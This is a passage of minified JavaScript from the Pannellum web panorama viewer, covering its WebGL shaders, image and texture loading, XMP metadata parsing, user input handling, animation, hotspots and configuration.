rotateX(270deg)",d:"translate3d(-"+(s+2)+"px, "+s+"px, -"+(s+2)+"px) rotateX(90deg)",l:"translate3d(-"+s+"px, -"+(s+2)+"px, "+(s+2)+"px) rotateX(180deg) rotateY(90deg) rotateZ(180deg)",r:"translate3d("+s+"px, -"+(s+2)+"px, -"+(s+2)+"px) rotateY(270deg)"},t="perspective("+(n=(n=1/Math.tan(n/2))*Y.clientWidth/2+"px")+") translateZ("+n+") rotateX("+e+"rad) rotateY("+t+"rad) ",n=Object.keys(r),e=0;6>e;e++)(a=S.querySelector(".pnlm-"+n[e]+"face"))&&(a.style.webkitTransform=t+r[n[e]],a.style.transform=t+r[n[e]])},this.isLoading=function(){if(b&&"multires"==C)for(var e=0;e<y.currentNodes.length;e++)if(!y.currentNodes[e].textureLoaded)return!0;return!1},this.getCanvas=function(){return Y};var $=[],j=function(){function e(){var e=this;this.texture=this.callback=null,this.image=new Image,this.image.crossOrigin=i||"anonymous";var t=function(){if(0<e.image.width&&0<e.image.height){var t=e.image;b.bindTexture(b.TEXTURE_2D,e.texture),b.texImage2D(b.TEXTURE_2D,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,t),b.texParameteri(b.TEXTURE_2D,b.TEXTURE_MAG_FILTER,b.LINEAR),b.texParameteri(b.TEXTURE_2D,b.TEXTURE_MIN_FILTER,b.LINEAR),b.texParameteri(b.TEXTURE_2D,b.TEXTURE_WRAP_S,b.CLAMP_TO_EDGE),b.texParameteri(b.TEXTURE_2D,b.TEXTURE_WRAP_T,b.CLAMP_TO_EDGE),b.bindTexture(b.TEXTURE_2D,null),e.callback(e.texture,!0)}else e.callback(e.texture,!1);$.length?(t=$.shift(),e.loadTexture(t.src,t.texture,t.callback)):r[n++]=e};this.image.addEventListener("load",t),this.image.addEventListener("error",t)}function t(e,t,i,n){this.node=e,this.src=t,this.texture=i,this.callback=n}var i,n=4,r={};e.prototype.loadTexture=function(e,t,i){this.texture=t,this.callback=i,this.image.src=e};for(var s=0;s<n;s++)r[s]=new e;return function(e,s,a,o){return i=o,o=b.createTexture(),n?r[--n].loadTexture(s,o,a):$.push(new t(e,s,o,a)),o}}()}var r="attribute vec2 a_texCoord;varying vec2 v_texCoord;void main() {gl_Position = vec4(a_texCoord, 0.0, 1.0);v_texCoord = a_texCoord;}",s="attribute vec3 a_vertCoord;attribute vec2 a_texCoord;uniform mat4 u_cubeMatrix;uniform mat4 u_perspMatrix;varying mediump vec2 v_texCoord;void main(void) {gl_Position = u_perspMatrix * u_cubeMatrix * vec4(a_vertCoord, 1.0);v_texCoord = a_texCoord;}",a="precision highp float;\nuniform float u_aspectRatio;\nuniform float u_psi;\nuniform float u_theta;\nuniform float u_f;\nuniform float u_h;\nuniform float u_v;\nuniform float u_vo;\nuniform float u_rot;\nconst float PI = 3.14159265358979323846264;\nuniform sampler2D u_image0;\nuniform sampler2D u_image1;\nuniform bool u_splitImage;\nuniform samplerCube u_imageCube;\nvarying vec2 v_texCoord;\nuniform vec4 u_backgroundColor;\nvoid main() {\nfloat x = v_texCoord.x * u_aspectRatio;\nfloat y = v_texCoord.y;\nfloat sinrot = sin(u_rot);\nfloat cosrot = cos(u_rot);\nfloat rot_x = x * cosrot - y * sinrot;\nfloat rot_y = x * sinrot + y * cosrot;\nfloat sintheta = sin(u_theta);\nfloat costheta = cos(u_theta);\nfloat a = u_f * costheta - rot_y * sintheta;\nfloat root = sqrt(rot_x * rot_x + a * a);\nfloat lambda = atan(rot_x / root, a / root) + u_psi;\nfloat phi = atan((rot_y * costheta + u_f * sintheta) / root);",o=a+"float cosphi = cos(phi);\ngl_FragColor = textureCube(u_imageCube, vec3(cosphi*sin(lambda), sin(phi), cosphi*cos(lambda)));\n}",l=a+"lambda = mod(lambda + PI, PI * 2.0) - PI;\nvec2 coord = vec2(lambda / PI, phi / (PI / 2.0));\nif(coord.x < -u_h || coord.x > u_h || coord.y < -u_v + u_vo || coord.y > u_v + u_vo)\ngl_FragColor = u_backgroundColor;\nelse {\nif(u_splitImage) {\nif(coord.x < 0.0)\ngl_FragColor = texture2D(u_image0, vec2((coord.x + u_h) / u_h, (-coord.y + u_v + u_vo) / (u_v * 2.0)));\nelse\ngl_FragColor = texture2D(u_image1, vec2((coord.x + u_h) / u_h - 1.0, (-coord.y + u_v + u_vo) / (u_v * 2.0)));\n} else {\ngl_FragColor = texture2D(u_image0, vec2((coord.x + u_h) / (u_h * 2.0), (-coord.y + u_v + u_vo) / (u_v * 2.0)));\n}\n}\n}",u="varying mediump vec2 v_texCoord;uniform sampler2D u_sampler;void main(void) {gl_FragColor = texture2D(u_sampler, v_texCoord);}";return{renderer:function(e,t,i,r){return new n(e,t,i,r)}}}(window,document),window.pannellum=function(e,t,i){function n(n,r){function s(){if((c=t.createElement("div")).innerHTML="\x3c!--[if lte IE 9]><i></i><![endif]--\x3e",1==c.getElementsByTagName("i").length)l();else{var n;if(ie=G.hfov,ne=G.pitch,"cubemap"==G.type){for(Q=[],c=0;6>c;c++)Q.push(new Image),Q[c].crossOrigin=G.crossOrigin;Ae.load.lbox.style.display="block",Ae.load.lbar.style.display="none"}else if("multires"==G.type)c=JSON.parse(JSON.stringify(G.multiRes)),G.basePath&&G.multiRes.basePath&&!/^(?:[a-z]+:)?\/\//i.test(G.multiRes.basePath)?c.basePath=G.basePath+G.multiRes.basePath:G.multiRes.basePath?c.basePath=G.multiRes.basePath:G.basePath&&(c.basePath=G.basePath),Q=c;else if(!0===G.dynamic)Q=G.panorama;else{if(G.panorama===i)return void l(G.strings.noPanoramaError);Q=new Image}if("cubemap"==G.type)for(var r=6,s=function(){0==--r&&o()},u=function(e){var i=t.createElement("a");i.href=e.target.src,i.textContent=i.href,l(G.strings.fileAccessError.replace("%s",i.outerHTML))},c=0;c<Q.length;c++)"null"==(n=G.cubeMap[c])?(console.log("Will use background instead of missing cubemap face "+c),s()):(G.basePath&&!a(n)&&(n=G.basePath+n),Q[c].onload=s,Q[c].onerror=u,Q[c].src=V(n));else if("multires"==G.type)o();else if(n="",G.basePath&&(n=G.basePath),!0!==G.dynamic){n=a(G.panorama)?G.panorama:n+G.panorama,Q.onload=function(){e.URL.revokeObjectURL(this.src),o()};var d=new XMLHttpRequest;d.onloadend=function(){if(200!=d.status){var r=t.createElement("a");r.href=n,r.textContent=r.href,l(G.strings.fileAccessError.replace("%s",r.outerHTML))}!function(t){var n=new FileReader;n.addEventListener("loadend",(function(){var r=n.result;if(navigator.userAgent.toLowerCase().match(/(iphone|ipod|ipad).* os 8_/)&&(0>(o=r.indexOf("ÿÂ"))||65536<o)&&l(G.strings.iOS8WebGLError),-1<(o=r.indexOf("<x:xmpmeta"))&&!0!==G.ignoreGPanoXMP){var s=r.substring(o,r.indexOf("</x:xmpmeta>")+12),a=function(e){var t;return 0<=s.indexOf(e+'="')?t=(t=s.substring(s.indexOf(e+'="')+e.length+2)).substring(0,t.indexOf('"')):0<=s.indexOf(e+">")&&(t=(t=s.substring(s.indexOf(e+">")+e.length+1)).substring(0,t.indexOf("<"))),t!==i?Number(t):null},o=(r=a("GPano:FullPanoWidthPixels"),a("GPano:CroppedAreaImageWidthPixels")),u=a("GPano:FullPanoHeightPixels"),c=a("GPano:CroppedAreaImageHeightPixels"),d=a("GPano:CroppedAreaTopPixels"),h=a("GPano:PoseHeadingDegrees"),p=a("GPano:PosePitchDegrees");a=a("GPano:PoseRollDegrees"),null!==r&&null!==o&&null!==u&&null!==c&&null!==d&&(0>ke.indexOf("haov")&&(G.haov=o/r*360),0>ke.indexOf("vaov")&&(G.vaov=c/u*180),0>ke.indexOf("vOffset")&&(G.vOffset=-180*((d+c/2)/u-.5)),null!==h&&0>ke.indexOf("northOffset")&&(G.northOffset=h,!1!==G.compass&&(G.compass=!0)),null!==p&&null!==a&&(0>ke.indexOf("horizonPitch")&&(G.horizonPitch=p),0>ke.indexOf("horizonRoll")&&(G.horizonRoll=a)))}Q.src=e.URL.createObjectURL(t)})),n.readAsBinaryString!==i?n.readAsBinaryString(t):n.readAsText(t)}(this.response),Ae.load.msg.innerHTML=""},d.onprogress=function(e){var t,i;e.lengthComputable?(Ae.load.lbarFill.style.width=e.loaded/e.total*100+"%",1e6<e.total?(t="MB",i=(e.loaded/1e6).toFixed(2),e=(e.total/1e6).toFixed(2)):1e3<e.total?(t="kB",i=(e.loaded/1e3).toFixed(1),e=(e.total/1e3).toFixed(1)):(t="B",i=e.loaded,e=e.total),Ae.load.msg.innerHTML=i+" / "+e+" "+t):(Ae.load.lbox.style.display="block",Ae.load.lbar.style.display="none")};try{d.open("GET",n,!0)}catch(e){l(G.strings.malformedURLError)}d.responseType="blob",d.setRequestHeader("Accept","image/*,*/*;q=0.9"),d.withCredentials="use-credentials"===G.crossOrigin,d.send()}G.draggable&&Ce.classList.add("pnlm-grab"),Ce.classList.remove("pnlm-grabbing"),Se=!0===G.dynamicUpdate,G.dynamic&&Se&&(Q=G.panorama,o())}}function a(e){return/^(?:[a-z]+:)?\/\//i.test(e)||"/"==e[0]||"blob:"==e.slice(0,5)}function o(){K||(K=new libpannellum.renderer(De)),me||(me=!0,Ee.addEventListener("mousedown",c,!1),t.addEventListener("mousemove",p,!1),t.addEventListener("mouseup",f,!1),G.mouseZoom&&(Ce.addEventListener("mousewheel",w,!1),Ce.addEventListener("DOMMouseScroll",w,!1)),G.doubleClickZoom&&Ee.addEventListener("dblclick",d,!1),n.addEventListener("mozfullscreenchange",N,!1),n.addEventListener("webkitfullscreenchange",N,!1),n.addEventListener("msfullscreenchange",N,!1),n.addEventListener("fullscreenchange",N,!1),e.addEventListener("resize",L,!1),e.addEventListener("orientationchange",L,!1),G.disableKeyboardCtrl||(n.addEventListener("keydown",T,!1),n.addEventListener("keyup",S,!1),n.addEventListener("blur",k,!1)),t.addEventListener("mouseleave",f,!1),""===t.documentElement.style.pointerAction&&""===t.documentElement.style.touchAction?(Ee.addEventListener("pointerdown",v,!1),Ee.addEventListener("pointermove",y,!1),Ee.addEventListener("pointerup",b,!1),Ee.addEventListener("pointerleave",b,!1)):(Ee.addEventListener("touchstart",m,!1),Ee.addEventListener("touchmove",g,!1),Ee.addEventListener("touchend",_,!1)),e.navigator.pointerEnabled&&(n.style.touchAction="none")),function(){try{var e={};G.horizonPitch!==i&&(e.horizonPitch=G.horizonPitch*Math.PI/180),G.horizonRoll!==i&&(e.horizonRoll=G.horizonRoll*Math.PI/180),G.backgroundColor!==i&&(e.backgroundColor=G.backgroundColor),K.init(Q,G.type,G.dynamic,G.haov*Math.PI/180,G.vaov*Math.PI/180,G.vOffset*Math.PI/180,A,e),!0!==G.dynamic&&(Q=i)}catch(e){if("webgl error"==e.type||"no webgl"==e.type)l();else{if("webgl size error"!=e.type)throw l(G.strings.unknownError),e;l(G.strings.textureSizeError.replace("%s",e.width).replace("%s",e.maxWidth))}}}(),H(G.hfov),setTimeout((function(){}),500)}function l(e){e===i&&(e=G.strings.genericWebGLError),Ae.errorMsg.innerHTML="<p>"+e+"</p>",Oe.load.style.display="none",Ae.load.box.style.display="none",Ae.errorMsg.style.display="table",fe=!0,Z=i,De.style.display="none",J("error",e)}function u(e){var t=n.getBoundingClientRect(),i={};return i.x=(e.clientX||e.pageX)-t.left,i.y=(e.clientY||e.pageY)-t.top,i}function c(e){if(e.preventDefault(),n.focus(),Z&&G.draggable){var t=u(e);if(G.hotSpotDebug){var i=h(e);console.log("Pitch: "+i[0]+", Yaw: "+i[1]+", Center Pitch: "+G.pitch+", Center Yaw: "+G.yaw+", HFOV: "+G.hfov)}F(),W(),G.roll=0,ge.hfov=0,se=!0,ae=Date.now(),oe=t.x,le=t.y,ce=G.yaw,de=G.pitch,Ce.classList.add("pnlm-grabbing"),Ce.classList.remove("pnlm-grab"),J("mousedown",e),C()}}function d(e){G.minHfov===G.hfov?re.setHfov(ie,1e3):(e=h(e),re.lookAt(e[0],e[1],G.minHfov,1e3))}function h(e){var t=u(e),i=(e=K.getCanvas()).clientWidth,n=e.clientHeight;e=t.x/i*2-1,n=(1-t.y/n*2)*n/i;var r=1/Math.tan(G.hfov*Math.PI/360),s=Math.sin(G.pitch*Math.PI/180),a=Math.cos(G.pitch*Math.PI/180);return t=r*a-n*s,i=Math.sqrt(e*e+t*t),n=180*Math.atan((n*a+r*s)/i)/Math.PI,-180>(e=180*Math.atan2(e/i,t/i)/Math.PI+G.yaw)&&(e+=360),180<e&&(e-=360),[n,e]}function p(e){if(se&&Z){ae=Date.now();var t=(i=K.getCanvas()).clientWidth,i=i.clientHeight;e=u(e);var n=180*(Math.atan(oe/t*2-1)-Math.atan(e.x/t*2-1))/Math.PI*G.hfov/90+ce;ge.yaw=(n-G.yaw)%360*.2,G.yaw=n,t=360*Math.atan(Math.tan(G.hfov/360*Math.PI)*i/t)/Math.PI,t=180*(Math.atan(e.y/i*2-1)-Math.atan(le/i*2-1))/Math.PI*t/90+de,ge.pitch=.2*(t-G.pitch),G.pitch=t}}function f(e){se&&(se=!1,15<Date.now()-ae&&(ge.pitch=ge.yaw=0),Ce.classList.add("pnlm-grab"),Ce.classList.remove("pnlm-grabbing"),ae=Date.now(),J("mouseup",e))}function m(e){if(Z&&G.draggable){F(),W(),G.roll=0,ge.hfov=0;var t=u(e.targetTouches[0]);if(oe=t.x,le=t.y,2==e.targetTouches.length){var i=u(e.targetTouches[1]);oe+=.5*(i.x-t.x),le+=.5*(i.y-t.y),ue=Math.sqrt((t.x-i.x)*(t.x-i.x)+(t.y-i.y)*(t.y-i.y))}se=!0,ae=Date.now(),ce=G.yaw,de=G.pitch,J("touchstart",e),C()}}function g(e){if(G.draggable&&(e.preventDefault(),Z&&(ae=Date.now()),se&&Z)){var t=u(e.targetTouches[0]),i=t.x,n=t.y;2==e.targetTouches.length&&-1!=ue&&(i+=.5*((e=u(e.targetTouches[1])).x-t.x),n+=.5*(e.y-t.y),t=Math.sqrt((t.x-e.x)*(t.x-e.x)+(t.y-e.y)*(t.y-e.y)),H(G.hfov+.1*(ue-t)),ue=t),t=G.hfov/360*G.touchPanSpeedCoeffFactor,i=(oe-i)*t+ce,ge.yaw=(i-G.yaw)%360*.2,G.yaw=i,n=(n-le)*t+de,ge.pitch=.2*(n-G.pitch),G.pitch=n}}function _(){se=!1,150<Date.now()-ae&&(ge.pitch=ge.yaw=0),ue=-1,ae=Date.now(),J("touchend",event)}function v(e){"touch"==e.pointerType&&Z&&G.draggable&&(Ne.push(e.pointerId),Re.push({clientX:e.clientX,clientY:e.clientY}),e.targetTouches=Re,m(e),e.preventDefault())}function y(e){if("touch"==e.pointerType&&G.draggable)for(var t=0;t<Ne.length;t++)if(e.pointerId==Ne[t]){Re[t].clientX=e.clientX,Re[t].clientY=e.clientY,e.targetTouches=Re,g(e),e.preventDefault();break}}function b(e){if("touch"==e.pointerType){for(var t=!1,n=0;n<Ne.length;n++)e.pointerId==Ne[n]&&(Ne[n]=i),Ne[n]&&(t=!0);t||(Ne=[],Re=[],_()),e.preventDefault()}}function w(e){Z&&("fullscreenonly"!=G.mouseZoom||pe)&&(e.preventDefault(),F(),ae=Date.now(),e.wheelDeltaY?(H(G.hfov-.05*e.wheelDeltaY),ge.hfov=0>e.wheelDelta?1:-1):e.wheelDelta?(H(G.hfov-.05*e.wheelDelta),ge.hfov=0>e.wheelDelta?1:-1):e.detail&&(H(G.hfov+1.5*e.detail),ge.hfov=0<e.detail?1:-1),C())}function T(e){F(),ae=Date.now(),W(),G.roll=0;var t=e.which||e.keycode;0>G.capturedKeyNumbers.indexOf(t)||(e.preventDefault(),27==t?pe&&j():M(t,!0))}function k(){for(var e=0;10>e;e++)he[e]=!1}function S(e){var t=e.which||e.keycode;0>G.capturedKeyNumbers.indexOf(t)||(e.preventDefault(),M(t,!1))}function M(e,t){var i=!1;switch(e){case 109:case 189:case 17:case 173:he[0]!=t&&(i=!0),he[0]=t;break;case 107:case 187:case 16:case 61:he[1]!=t&&(i=!0),he[1]=t;break;case 38:he[2]!=t&&(i=!0),he[2]=t;break;case 87:he[6]!=t&&(i=!0),he[6]=t;break;case 40:he[3]!=t&&(i=!0),he[3]=t;break;case 83:he[7]!=t&&(i=!0),he[7]=t;break;case 37:he[4]!=t&&(i=!0),he[4]=t;break;case 65:he[8]!=t&&(i=!0),he[8]=t;break;case 39:he[5]!=t&&(i=!0),he[5]=t;break;case 68:he[9]!=t&&(i=!0),he[9]=t}i&&t&&(ee="undefined"!=typeof performance&&performance.now()?performance.now():Date.now(),C())}function x(e){var t=we[e],i=Math.min(1,Math.max((Date.now()-t.startTime)/1e3/(t.duration/1e3),0));i=t.startPosition+G.animationTimingFunction(i)*(t.endPosition-t.startPosition),(t.endPosition>t.startPosition&&i>=t.endPosition||t.endPosition<t.startPosition&&i<=t.endPosition||t.endPosition===t.startPosition)&&(i=t.endPosition,ge[e]=0,delete we[e]),G[e]=i}function L(){N("resize")}function C(){_e||(_e=!0,D())}function D(){if(!xe)if(function(){var e;if(Z){var t=K.getCanvas();!1!==G.autoRotate&&(180<G.yaw?G.yaw-=360:-180>G.yaw&&(G.yaw+=360)),e=G.yaw;var n=0;if(G.avoidShowingBackground){var r=G.hfov/2,s=180*Math.atan2(Math.tan(r/180*Math.PI),t.width/t.height)/Math.PI;G.vaov>G.haov?Math.min(Math.cos((G.pitch-r)/180*Math.PI),Math.cos((G.pitch+r)/180*Math.PI)):n=r*(1-Math.min(Math.cos((G.pitch-s)/180*Math.PI),Math.cos((G.pitch+s)/180*Math.PI)))}s=-180;var a=180;360>(r=G.maxYaw-G.minYaw)&&(s=G.minYaw+G.hfov/2+n,a=G.maxYaw-G.hfov/2-n,r<G.hfov&&(s=a=(s+a)/2),G.yaw=Math.max(s,Math.min(a,G.yaw))),!1===G.autoRotate&&(180<G.yaw?G.yaw-=360:-180>G.yaw&&(G.yaw+=360)),!1!==G.autoRotate&&e!=G.yaw&&ee!==i&&(G.autoRotate*=-1),e=2*Math.atan(Math.tan(G.hfov/180*Math.PI*.5)/(t.width/t.height))/Math.PI*180,t=G.minPitch+e/2,n=G.maxPitch-e/2,G.maxPitch-G.minPitch<e&&(t=n=(t+n)/2),isNaN(t)&&(t=-90),isNaN(n)&&(n=90),G.pitch=Math.max(t,Math.min(n,G.pitch)),K.render(G.pitch*Math.PI/180,G.yaw*Math.PI/180,G.hfov*Math.PI/180,{roll:G.roll*Math.PI/180}),G.hotSpots.forEach(O),G.compass&&(je.style.transform="rotate("+(-G.yaw-G.northOffset)+"deg)",je.style.webkitTransform="rotate("+(-G.yaw-G.northOffset)+"deg)")}}(),te&&clearTimeout(te),se||!0===ve)requestAnimationFrame(D);else if(he[0]||he[1]||he[2]||he[3]||he[4]||he[5]||he[6]||he[7]||he[8]||he[9]||G.autoRotate||we.pitch||we.yaw||we.hfov||.01<Math.abs(ge.yaw)||.01<Math.abs(ge.pitch)||.01<Math.abs(ge.hfov))(function(){if(Z){var e,t=!1,n=G.pitch,r=G.yaw,s=G.hfov;e="undefined"!=typeof performance&&performance.now()?performance.now():Date.now(),ee===i&&(ee=e);var a=(e-ee)*G.hfov/1700;if(a=Math.min(a,1),he[0]&&!0===G.keyboardZoom&&(H(G.hfov+(.8*ge.hfov+.5)*a),t=!0),he[1]&&!0===G.keyboardZoom&&(H(G.hfov+(.8*ge.hfov-.2)*a),t=!0),(he[2]||he[6])&&(G.pitch+=(.8*ge.pitch+.2)*a,t=!0),(he[3]||he[7])&&(G.pitch+=(.8*ge.pitch-.2)*a,t=!0),(he[4]||he[8])&&(G.yaw+=(.8*ge.yaw-.2)*a,t=!0),(he[5]||he[9])&&(G.yaw+=(.8*ge.yaw+.2)*a,t=!0),t&&(ae=Date.now()),G.autoRotate){if(.001<e-ee){t=(e-ee)/1e3;var o=(ge.yaw/t*a-.2*G.autoRotate)*t;o=(0<-G.autoRotate?1:-1)*Math.min(Math.abs(G.autoRotate*t),Math.abs(o)),G.yaw+=o}G.autoRotateStopDelay&&(G.autoRotateStopDelay-=e-ee,0>=G.autoRotateStopDelay&&(G.autoRotateStopDelay=!1,be=G.autoRotate,G.autoRotate=0))}we.pitch&&(x("pitch"),n=G.pitch),we.yaw&&(x("yaw"),r=G.yaw),we.hfov&&(x("hfov"),s=G.hfov),0<a&&!G.autoRotate&&(t=1-G.friction,he[4]||he[5]||he[8]||he[9]||we.yaw||(G.yaw+=ge.yaw*a*t),he[2]||he[3]||he[6]||he[7]||we.pitch||(G.pitch+=ge.pitch*a*t),he[0]||he[1]||we.hfov||H(G.hfov+ge.hfov*a*t)),ee=e,0<a&&(ge.yaw=.8*ge.yaw+(G.yaw-r)/a*.2,ge.pitch=.8*ge.pitch+(G.pitch-n)/a*.2,ge.hfov=.8*ge.hfov+(G.hfov-s)/a*.2,n=G.autoRotate?Math.abs(G.autoRotate):5,ge.yaw=Math.min(n,Math.max(ge.yaw,-n)),ge.pitch=Math.min(n,Math.max(ge.pitch,-n)),ge.hfov=Math.min(n,Math.max(ge.hfov,-n))),he[0]&&he[1]&&(ge.hfov=0),(he[2]||he[6])&&(he[3]||he[7])&&(ge.pitch=0),(he[4]||he[8])&&(he[5]||he[9])&&(ge.yaw=0)}})(),0<=G.autoRotateInactivityDelay&&be&&Date.now()-ae>G.autoRotateInactivityDelay&&!G.autoRotate&&(G.autoRotate=be,re.lookAt(ne,i,ie,3e3)),requestAnimationFrame(D);else if(K&&(K.isLoading()||!0===G.dynamic&&Se))requestAnimationFrame(D);else{J("animatefinished",{pitch:re.getPitch(),yaw:re.getYaw(),hfov:re.getHfov()}),_e=!1,ee=i;var e=G.autoRotateInactivityDelay-(Date.now()-ae);0<e?te=setTimeout((function(){G.autoRotate=be,re.lookAt(ne,i,ie,3e3),C()}),e):0<=G.autoRotateInactivityDelay&&be&&(G.autoRotate=be,re.lookAt(ne,i,ie,3e3),C())}}function E(e,t,i,n){this.w=e,this.x=t,this.y=i,this.z=n}function P(t){var i;t.hasOwnProperty("requestPermission")&&t.requestPermission(),i=t.alpha;var n=t.beta;t=t.gamma,n=[n?n*Math.PI/180/2:0,t?t*Math.PI/180/2:0,i?i*Math.PI/180/2:0],i=[Math.cos(n[0]),Math.cos(n[1]),Math.cos(n[2])],n=[Math.sin(n[0]),Math.sin(n[1]),Math.sin(n[2])],i=(i=new E(i[0]*i[1]*i[2]-n[0]*n[1]*n[2],n[0]*i[1]*i[2]-i[0]*n[1]*n[2],i[0]*n[1]*i[2]+n[0]*i[1]*n[2],i[0]*i[1]*n[2]+n[0]*n[1]*i[2])).multiply(new E(Math.sqrt(.5),-Math.sqrt(.5),0,0)),n=e.orientation?-e.orientation*Math.PI/180/2:0,i=i.multiply(new E(Math.cos(n),0,-Math.sin(n),0)).toEulerAngles(),"number"==typeof ve&&10>ve?ve+=1:10===ve?(ye=i[2]/Math.PI*180+G.yaw,ve=!0,requestAnimationFrame(D)):(G.pitch=i[0]/Math.PI*180,G.roll=-i[1]/Math.PI*180,G.yaw=-i[2]/Math.PI*180+ye)}function A(){if(G.sceneFadeDuration&&K.fadeImg!==i){K.fadeImg.style.opacity=0;var e=K.fadeImg;delete K.fadeImg,setTimeout((function(){De.removeChild(e),J("scenechangefadedone")}),G.sceneFadeDuration)}je.style.display=G.compass?"inline":"none",Me||(G.hotSpots?(G.hotSpots=G.hotSpots.sort((function(e,t){return e.pitch<t.pitch})),G.hotSpots.forEach(I)):G.hotSpots=[],Me=!0,G.hotSpots.forEach(O)),Ae.load.box.style.display="none",X!==i&&(De.removeChild(X),X=i),Z=!0,J("load"),C()}function I(e){e.pitch=Number(e.pitch)||0,e.yaw=Number(e.yaw)||0;var i=t.createElement("div");i.className="pnlm-hotspot-base",i.className=e.cssClass?i.className+" "+e.cssClass:i.className+" pnlm-hotspot pnlm-sprite pnlm-"+q(e.type);var n,r=t.createElement("span");if(e.text&&(r.innerHTML=q(e.text)),e.video){n=t.createElement("video");var s=e.video;G.basePath&&!a(s)&&(s=G.basePath+s),n.src=V(s),n.controls=!0,n.style.width=e.width+"px",De.appendChild(i),r.appendChild(n)}else if(e.image){s=e.image,G.basePath&&!a(s)&&(s=G.basePath+s),(n=t.createElement("a")).href=V(e.URL?e.URL:s),n.target="_blank",r.appendChild(n);var o=t.createElement("img");o.src=V(s),o.style.width=e.width+"px",o.style.paddingTop="5px",De.appendChild(i),n.appendChild(o),r.style.maxWidth="initial"}else if(e.URL){if((n=t.createElement("a")).href=V(e.URL),e.attributes)for(s in e.attributes)n.setAttribute(s,e.attributes[s]);else n.target="_blank";De.appendChild(n),i.className+=" pnlm-pointer",r.className+=" pnlm-pointer",n.appendChild(i)}else e.sceneId&&(i.onclick=i.ontouchend=function(){return i.clicked||(i.clicked=!0,U(e.sceneId,e.targetPitch,e.targetYaw,e.targetHfov)),!1},i.className+=" pnlm-pointer",r.className+=" pnlm-pointer"),De.appendChild(i);e.createTooltipFunc?e.createTooltipFunc(i,e.createTooltipArgs):(e.text||e.video||e.image)&&(i.classList.add("pnlm-tooltip"),i.appendChild(r),r.style.width=r.scrollWidth-20+"px",r.style.marginLeft=-(r.scrollWidth-i.offsetWidth)/2+"px",r.style.marginTop=-r.scrollHeight-12+"px"),e.clickHandlerFunc&&(i.addEventListener("click",(function(t){e.clickHandlerFunc(t,e.clickHandlerArgs)}),"false"),i.className+=" pnlm-pointer",r.className+=" pnlm-pointer"),e.div=i}function O(e){var t=Math.sin(e.pitch*Math.PI/180),i=Math.cos(e.pitch*Math.PI/180),n=Math.sin(G.pitch*Math.PI/180),r=Math.cos(G.pitch*Math.PI/180),s=Math.cos((-e.yaw+G.yaw)*Math.PI/180),a=t*n+i*s*r;if(90>=e.yaw&&-90<e.yaw&&0>=a||(90<e.yaw||-90>=e.yaw)&&0>=a)e.div.style.visibility="hidden";else{var o=Math.sin((-e.yaw+G.yaw)*Math.PI/180),l=Math.tan(G.hfov*Math.PI/360);e.div.style.visibility="visible";var u=(c=K.getCanvas()).clientWidth,c=c.clientHeight;t=[-u/l*o*i/a/2,-u/l*(t*r-i*s*n)/a/2],i=Math.sin(G.roll*Math.PI/180),n=Math.cos(G.roll*Math.PI/180),(t=[t[0]*n-t[1]*i,t[0]*i+t[1]*n])[0]+=(u-e.div.offsetWidth)/2,t[1]+=(c-e.div.offsetHeight)/2,u="translate("+t[0]+"px, "+t[1]+"px) translateZ(9999px) rotate("+G.roll+"deg)",e.scale&&(u+=" scale("+ie/G.hfov/a+")"),e.div.style.webkitTransform=u,e.div.style.MozTransform=u,e.div.style.transform=u}}function Y(e){G={};var t,i,n="haov vaov vOffset northOffset horizonPitch horizonRoll".split(" ");for(t in ke=[],Le)Le.hasOwnProperty(t)&&(G[t]=Le[t]);for(t in r.default)if(r.default.hasOwnProperty(t))if("strings"==t)for(i in r.default.strings)r.default.strings.hasOwnProperty(i)&&(G.strings[i]=q(r.default.strings[i]));else G[t]=r.default[t],0<=n.indexOf(t)&&ke.push(t);if(null!==e&&""!==e&&r.scenes&&r.scenes[e]){var s=r.scenes[e];for(t in s)if(s.hasOwnProperty(t))if("strings"==t)for(i in s.strings)s.strings.hasOwnProperty(i)&&(G.strings[i]=q(s.strings[i]));else G[t]=s[t],0<=n.indexOf(t)&&ke.push(t);G.scene=e}for(t in r)if(r.hasOwnProperty(t))if("strings"==t)for(i in r.strings)r.strings.hasOwnProperty(i)&&(G.strings[i]=q(r.strings[i]));else G[t]=r[t],0<=n.indexOf(t)&&ke.push(t)}function $(e){if((e=e||!1)&&"preview"in G){var n=G.preview;G.basePath&&!a(n)&&(n=G.basePath+n),(X=t.createElement("div")).className="pnlm-preview-img",X.style.backgroundImage="url('"+V(n).replace(/"/g,"%22").replace(/'/g,"%27")+"')",De.appendChild(X)}n=G.title;var r=G.author;for(var o in e&&("previewTitle"in G&&(G.title=G.previewTitle),"previewAuthor"in G&&(G.author=G.previewAuthor)),G.hasOwnProperty("title")||(Ae.title.innerHTML=""),G.hasOwnProperty("author")||(Ae.author.innerHTML=""),G.hasOwnProperty("title")||G.hasOwnProperty("author")||(Ae.container.style.display="none"),Oe.load.innerHTML="<p>"+G.strings.loadButtonLabel+"</p>",Ae.load.boxp.innerHTML=G.strings.loadingLabel,G)if(G.hasOwnProperty(o))switch(o){case"title":Ae.title.innerHTML=q(G[o]),Ae.container.style.display="inline";break;case"author":var l=q(G[o]);G.authorURL&&((l=t.createElement("a")).href=V(G.authorURL),l.target="_blank",l.innerHTML=q(G[o]),l=l.outerHTML),Ae.author.innerHTML=G.strings.bylineLabel.replace("%s",l),Ae.container.style.display="inline";break;case"fallback":(l=t.createElement("a")).href=V(G[o]),l.target="_blank",l.textContent="Click here to view this panorama in an alternative viewer.";var u=t.createElement("p");u.textContent="Your browser does not support WebGL.",u.appendChild(t.createElement("br")),u.appendChild(l),Ae.errorMsg.innerHTML="",Ae.errorMsg.appendChild(u);break;case"hfov":H(Number(G[o]));break;case"autoLoad":!0===G[o]&&K===i&&(Ae.load.box.style.display="inline",Oe.load.style.display="none",s());break;case"showZoomCtrl":Oe.zoom.style.display=G[o]&&0!=G.showControls?"block":"none";break;case"showFullscreenCtrl":Oe.fullscreen.style.display=G[o]&&0!=G.showControls&&("fullscreen"in t||"mozFullScreen"in t||"webkitIsFullScreen"in t||"msFullscreenElement"in t)?"block":"none";break;case"hotSpotDebug":Ie.style.display=G[o]?"block":"none";break;case"showControls":G[o]||(Oe.orientation.style.display="none",Oe.zoom.style.display="none",Oe.fullscreen.style.display="none");break;case"orientationOnByDefault":G[o]&&(Ye===i?$e=!0:!0===Ye&&z())}e&&(n?G.title=n:delete G.title,r?G.author=r:delete G.author)}function 